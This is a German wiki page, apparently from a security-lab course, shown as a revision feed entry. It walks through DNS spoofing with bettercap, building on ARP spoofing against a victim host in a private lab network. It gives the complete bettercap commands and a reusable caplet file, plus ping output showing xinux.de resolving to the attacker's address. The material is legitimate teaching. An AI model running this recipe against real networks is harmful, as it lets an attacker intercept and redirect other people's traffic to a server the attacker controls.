https://xinux.net/index.php?action=history&feed=atom&title=Dnsspoofing_mit_Bettercap 2026-08-23T16:05:42Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://xinux.net/index.php?title=Dnsspoofing_mit_Bettercap&diff=72949&oldid=prev 2026-08-20T14:31:02Z

<p>Die Seite wurde neu angelegt: „=Bettercap: DNS-Spoofing= =Szenario= *OPFER=10.0.10.104 *ANGREIFER=10.0.10.101 *INTERFACE=eth0 Der Angreifer sitzt bereits per ARP-Spoofing zwischen OPFER un…“</p> <p><b>Neue Seite</b></p><div>=Bettercap: DNS-Spoofing=<br /> <br /> =Szenario=<br /> *OPFER=10.0.10.104<br /> *ANGREIFER=10.0.10.101<br /> *INTERFACE=eth0<br /> <br /> Der Angreifer sitzt bereits per ARP-Spoofing zwischen OPFER und Gateway und<br /> faelscht zusaetzlich die DNS-Antworten. Fragt das OPFER nach xinux.de, bekommt<br /> es die IP des Angreifers zurueck statt der echten - und landet auf dessen Server.<br /> <br /> =Benoetigtes Paket=<br /> *apt-get install bettercap<br /> <br /> =Echte Adresse zum Vergleich=<br /> *host -4 xinux.de<br /> xinux.de has address 94.130.248.215<br /> <br /> =Angreifer: Spoofing-Ziel festlegen=<br /> ;bettercap steuert das Umschreiben ueber zwei Werte: welche Namen gefaelscht<br /> ;werden (dns.spoof.domains) und auf welche IP umgebogen wird (dns.spoof.address).<br /> *bettercap -iface eth0<br /> <br /> ;Im bettercap-Prompt:<br /> *set arp.spoof.targets 10.0.10.104<br /> *set arp.spoof.fullduplex true<br /> *set dns.spoof.domains xinux.de<br /> *set dns.spoof.address 10.0.10.101<br /> *net.probe on<br /> *arp.spoof on<br /> *dns.spoof on<br /> <br /> =Optionen=<br /> arp.spoof.targets = das Opfer<br /> arp.spoof.fullduplex = beide Richtungen vergiften (Opfer und Gateway)<br /> dns.spoof.domains = welche Namen gefaelscht werden (hier xinux.de)<br /> dns.spoof.address = auf welche IP umgebogen wird (die des Angreifers)<br /> net.probe on = ARP-Cache vorab fuellen<br /> arp.spoof on = ARP-Spoofing starten (Voraussetzung fuers DNS-Spoofing)<br /> dns.spoof on = DNS-Antworten faelschen<br /> <br /> ;Wichtig: dns.spoof funktioniert nur, wenn arp.spoof laeuft. Erst muss der DNS-<br /> ;Verkehr des Opfers ueber den Angreifer laufen, dann kann er die Antworten<br /> ;umschreiben. Nur dns.spoof ohne arp.spoof sieht die Anfragen gar nicht.<br /> <br /> =Als Caplet (reproduzierbar)=<br /> ;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,<br /> ;damit man sie nicht jedes Mal von Hand tippt.<br /> *vim seclab-dns.cap:<br /> net.probe on<br /> set arp.spoof.targets 10.0.10.104<br /> set arp.spoof.fullduplex true<br /> set dns.spoof.domains xinux.de<br /> set dns.spoof.address 10.0.10.101<br /> arp.spoof on<br /> dns.spoof on<br /> <br /> ;Start:<br /> *bettercap -iface eth0 -caplet seclab-dns.cap<br /> <br /> =OPFER: Beweis=<br /> *ping xinux.de<br /> PING xinux.de (10.0.10.101) 56(84) bytes of data.<br /> 64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms<br /> 64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms<br /> 64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms<br /> <br /> ;Statt der echten 94.130.248.215 loest xinux.de jetzt auf 10.0.10.101 auf - die<br /> ;Adresse des Angreifers. Das Opfer landet bei jedem Aufruf von xinux.de auf dem<br /> ;Server des Angreifers.<br /> <br /> =Angriff beenden=<br /> ;Im bettercap-Prompt:<br /> *dns.spoof off<br /> *arp.spoof off<br /> *q<br /> <br /> ;arp.spoof off schickt re-ARP, damit die ARP-Caches wieder stimmen.<br /> <br /> =Weiterfuehrende Angriffe=<br /> *[[Ngrep]]</div>

Thomas.will